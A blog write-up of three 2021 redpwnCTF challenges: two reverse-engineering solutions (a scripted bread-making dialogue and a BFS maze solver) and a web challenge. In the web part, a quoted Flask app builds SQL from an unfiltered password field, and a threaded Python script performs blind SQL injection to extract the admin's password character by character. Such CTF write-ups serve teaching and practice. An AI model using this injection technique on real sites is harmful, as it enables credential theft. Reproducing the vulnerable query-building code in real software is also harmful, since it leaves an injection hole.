home..

2021 redpwnCTF write-up

Tasks

Rev/bread-making (108pts)

this prob has a lot of string data, so I just picked the right answer on each situation to get final flag.

Just analyze binary and submit sentences with right sequence.

from pwn import *

context.log_level='debug'

p=remote("mc.ax", 31796)

a=["add flour",
  "add yeast",
  "add salt",
  "add water",
  "hide the bowl inside a box",
  "wait 3 hours",
  "work in the basement",
  "preheat the toaster oven",
  "set a timer on your phone",
  "watch the bread bake",
  "pull the tray out with a towel",
  "unplug the oven",
  "unplug the fire alarm",
  "open the window",
  "wash the sink",
  "clean the counters",
  "flush the bread down the toilet",
  "get ready to sleep",
  "close the window",
  "replace the fire alarm",
  "brush teeth and go to bed"
]

for i in range(len(a)):
    print(i)
    p.recv()
    p.sendline(a[i])

p.interactive()

The flag is flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}

Rev/dimensionality (144pts)

bool __fastcall check(char *a1, __int64 a2, int a3)
{
  int v3; // er8
  __int64 v4; // rax
  int v5; // er9
  char v6; // al
  char *v7; // rcx
  int v8; // esi
  bool result; // al
  char v10; // r12

  v3 = dword_408C * dword_408C * dword_408C; // dword_408C = 11
  if ( v3 > 0 )
  {
    v4 = 1LL;
    while ( 1 )
    {
      v5 = v4;
      if ( v3 == v4 )
        break;
      if ( *(&unk_207F + ++v4) == 2 )
      {
        a3 = v5;
        break;
      }
    }
  }
  v6 = *a1;
  v7 = a1 + 1;
  v8 = dword_408C * dword_408C;
  if ( *a1 )
  {
    while ( 1 )
    {
      switch ( v6 )
      {
        case 'b':
          v8 = -(dword_408C * dword_408C);
          break;
        case 'd':
          v8 = dword_408C;
          break;
        case 'f':
          v8 = dword_408C * dword_408C;
          break;
        case 'l':
          v8 = -1;
          break;
        case 'r':
          v8 = 1;
          break;
        case 'u':
          v8 = -dword_408C;
          break;
        default:
          break;
      }
      a3 += v8;
      result = a3 < 0 || a3 > v3;
      if ( result )
        break;
      v10 = byte_2080[a3];
      if ( !v10 )
        return result;
      v6 = *v7++;
      if ( !v6 )
        goto LABEL_12;
    }
    result = 0;
  }
  else
  {
    v10 = byte_2080[a3];
LABEL_12:
    result = v10 == 3;
  }
  return result;
}

I found a map (in unk_207F) involved 0,1,2,3 digits.
When I analyzed this binary, i found the goal : escape maze with 6 commands from 2 to 3.
(using f,b,d,u,r,l)

f → cur+121
b → cur-121
d → cur+11
u → cur-11
r -> cur+1
l -> cur-1

this prob can input command string upto length 29bytes, so I have to find a way that escape efficiently.

The player is currently located at 2. It is only possible to go to 1 or 3 instead of 0 through the command, and since it is inefficient to go back the way it has already been done, so using the breadth-first search(BFS) algorithm can reduce the number of cases.

Here’s my payload and I found 6 answers of this prob in 0.5 sec. one of these answers should print correct flag.

from pwn import *
a=[0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x1, 0x1, 0x0, 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]

cur=a.index(2)
queue=[[cur,[cur]]]
print queue
st=0
en=1
while st<en:
  if a[queue[st][0]]==3:
    print str(queue[st][1])
  if 0 <= queue[st][0]+1 <= 1331 and (a[queue[st][0]+1]==1 or a[queue[st][0]+1]==3) and queue[st][0]+1 not in queue[st][1]:
    if len(queue[st][1])==30:
      pass
    else:
      temp=queue[st][1][:]
      temp.append(queue[st][0]+1)
      #print(queue[st][1])
      queue.append([queue[st][0]+1, temp])
      en+=1
  if 0 <= queue[st][0]-1 <= 1331 and (a[queue[st][0]-1]==1 or a[queue[st][0]-1]==3) and queue[st][0]-1 not in queue[st][1]:
    if len(queue[st][1])==30:
      pass
    else:
      temp=queue[st][1][:]
      temp.append(queue[st][0]-1)
      #print(queue[st][1])
      queue.append([queue[st][0]-1, temp])
      en+=1
  if 0 <= queue[st][0]+11 <= 1331 and (a[queue[st][0]+11]==1 or a[queue[st][0]+11]==3) and queue[st][0]+11 not in queue[st][1]:
    if len(queue[st][1])==30:
      pass
    else:
      temp=queue[st][1][:]
      temp.append(queue[st][0]+11)
      #print(queue[st][1])
      queue.append([queue[st][0]+11, temp])
      en+=1
  if 0 <= queue[st][0]-11 <= 1331 and (a[queue[st][0]-11]==1 or a[queue[st][0]-11]==3) and queue[st][0]-11 not in queue[st][1]:
    if len(queue[st][1])==30:
      pass
    else:
      temp=queue[st][1][:]
      temp.append(queue[st][0]-11)
      #print(queue[st][1])
      queue.append([queue[st][0]-11, temp])
      en+=1
  if 0 <= queue[st][0]+121 <= 1331 and (a[queue[st][0]+121]==1 or a[queue[st][0]+121]==3) and queue[st][0]+121 not in queue[st][1]:
    if len(queue[st][1])==30:
      pass
    else:
      temp=queue[st][1][:]
      temp.append(queue[st][0]+121)
      #print(queue[st][1])
      queue.append([queue[st][0]+121, temp])
      en+=1
  if 0 <= queue[st][0]-121 <= 1331 and (a[queue[st][0]-121]==1 or a[queue[st][0]-121]==3) and queue[st][0]-121 not in queue[st][1]:
    if len(queue[st][1])==30:
      pass
    else:
      temp=queue[st][1][:]
      temp.append(queue[st][0]-121)
      #print(queue[st][1])
      queue.append([queue[st][0]-121, temp])
      en+=1
  st+=1
  #print st,en

the third answer is correct input to get flag.

#a=[84, 205, 206, 207, 328, 449, 448, 447, 446, 445, 566, 687, 698, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 206, 207, 328, 449, 448, 447, 568, 689, 688, 687, 698, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
a=[84, 205, 206, 207, 328, 449, 448, 447, 568, 689, 700, 711, 710, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 204, 203, 214, 225, 224, 223, 344, 465, 466, 467, 588, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 204, 203, 192, 181, 180, 179, 168, 157, 278, 399, 520, 641, 642, 643, 764, 885, 886, 887, 898, 909, 920, 931, 932, 933, 1054, 1175, 1296]
#a=[84, 205, 216, 227, 226, 225, 224, 223, 344, 465, 466, 467, 588, 709, 830, 951, 952, 953, 1074, 1195, 1184, 1173, 1052, 931, 932, 933, 1054, 1175, 1296]

result=""

for i in range(1,len(a)):
  if a[i]-a[i-1]==121:
    result+='f'
  if a[i]-a[i-1]==-121:
    result+='b'
  if a[i]-a[i-1]==11:
    result+='d'
  if a[i]-a[i-1]==-11:
    result+='u'
  if a[i]-a[i-1]==1:
    result+='r'
  if a[i]-a[i-1]==-1:
    result+='l'

print result
# correct input is frrffllffddllffrrffuubbrrfff
❯ ./chall     
frrffllffddllffrrffuubbrrfff
:)
flag{star_/_so_bright_/_car_/_site_-ppsu}

The flag is flag{star_/_so_bright_/_car_/_site_-ppsu}

Web/cool (122pts)

here are some initial parts and vulnerable parts of app.py.

def create_user(username, password):
    if any(c not in allowed_characters for c in username):
        return (False, 'Alphanumeric usernames only, please.')
    if len(username) < 1:
        return (False, 'Username is too short.')
    if len(password) > 50:
        return (False, 'Password is too long.')
    other_users = execute(
        f'SELECT * FROM users WHERE username=\'{username}\';'
    )
    if len(other_users) > 0:
        return (False, 'Username taken.')
    execute(
        'INSERT INTO users (username, password)'
        f'VALUES (\'{username}\', \'{password}\');'
    )
    return (True, '')

@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        success, message = create_user(
            request.form['username'],
            request.form['password']
        )
        if success:
            session['username'] = request.form['username']
            return redirect('/message')
    return render_template_string('''
        <link rel="stylesheet" href="/static/style.css" />
        <div class="container">
            <p>Register!</p>
            <form method="POST">
                <label for="username">Username</label>
                <input type="text" name="username" />
                <label for="password">Password</label>
                <input type="password" name="password" />
                <input type="submit" value="Register" />
            </form>
            <p></p>
        </div>
    ''', error=message)


@app.route('/message')
def message():
    if 'username' not in session:
        return redirect('/')
    if session['username'] == 'ginkoid':
        return send_file(
            'flag.mp3',
            attachment_filename='flag-at-end-of-file.mp3'
        )
    return '''
        <link rel="stylesheet" href="/static/style.css" />
            <div class="container">
            <p>You are logged in!</p>
            <p>Unfortunately, Aaron's message is for cool people only.</p>
            <p>(like ginkoid)</p>
            <a href="/logout">Log out</a>
        </div>
    '''

If we submit register form, app.py call create_user function.
this prob doesn’t filter password (just filter username using allowed_characters)

allowed_characters = set(
    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
)

the goal is to find ginkoid’s password, so I used blind sql injection attack vector: execute(insert into username, password).

here is my payload:

username : any
password : {each char}=substr((select password from users),{offset},1)

subquery (select password from users) return first user(ginkoid)’s password. So, this method can verify each password char with 1 OR 0 (bool) result. Only have to do is login each username and find user that password is 1, and combine them.

payload source code

I use thread because it tooks a long time.

from threading import Thread
import requests
import string

URL="https://cool.mc.ax/register"
URL2="https://cool.mc.ax/"
allow='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
#allow=string.printable

def threading_func(i,j):
  data={'username':'cde'+'a'*i+'asdf'+allow[j], 'password':allow[j]+'\'=substr((select password from users),'+str(i+1)+',1))-- '}
  print(data)
  r=requests.post(URL, data=data)
  #print r.text

def threading_func2(i,j):
  global result
  data={'username':'cde'+'a'*i+'asdf'+allow[j], 'password':"0"}
  #print data
  r=requests.post(URL2, data=data)
  #print(r.text)
  if "Incorrect username or password." in r.text:
    print(str(i), allow[j], "is 1")


for x in range(32):
  for y in range(len(allow)):
    th=Thread(target=threading_func, name="["+str(x)+" "+allow[y]+"]", args=(x,y,))
    th.start()


for x in range(32):
  for y in range(len(allow)):
    #print(x,y)
    th=Thread(target=threading_func2, name="["+str(x)+" "+allow[y]+"]", args=(x,y,))
    th.start()

finally I found password of ginkoid: k4Wm3qCKKK7kuLBVF3XFyo2kGCSj4ESe
And I received flag in flag-at-end-of-file.mp3. just execute command tail and get flag!

/mnt/c/Users/bww96/Downloads ❯ tail flag-at-end-of-file.mp3 
Uj(΁!*-IjZuaɤZ'L
t1r}^:G̑klS\4QD\tO˻9T%oi03#^)ҝQFk?+zY>-=&T0)۪FP]
 !}?LY`4Or~eClRD,wdbeVlH`lU<4vLa3WNU'8\4ieKDGƨtd 8eBQ<c$TND5]y+&|ꯜ@C5V<Nu*7UFD2<h
                                                                                 e?TMq8zgh
пg<eZ(#@4
H~͈B܍5f1
       9o
 {K14-v6(n|MmQ;f3&*#ekFNܾEŪ��?2 уP@d qA-^W.REW?dYk
                                                 >J
%{
1
 \Q"B(q6CA3gV{?7UJO71,<|F@T2m*ez\dl1u+&Uȧg!!;,/)f:x$VD$)*38>ƛ<vbeI [6Y(5Vt7B   sd)ZYn       
wLAMEUUHDH#@DE*Bb��f,L"c0Q!1ƴ7ԃ8!QF*%QD1TU~
 MI04UUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUU UUUUUU(Dk4UUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUULAME3.100UUUUUUUUUUUUUUUUUUUUUUdBE@@
  4UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUflag{44r0n_s4ys_s08r137y_1s_c00l}

The flag is flag{44r0n_s4ys_s08r137y_1s_c00l}




© 2024 Ainsetin   •  Powered by Soopr   •  Theme  Moonwalk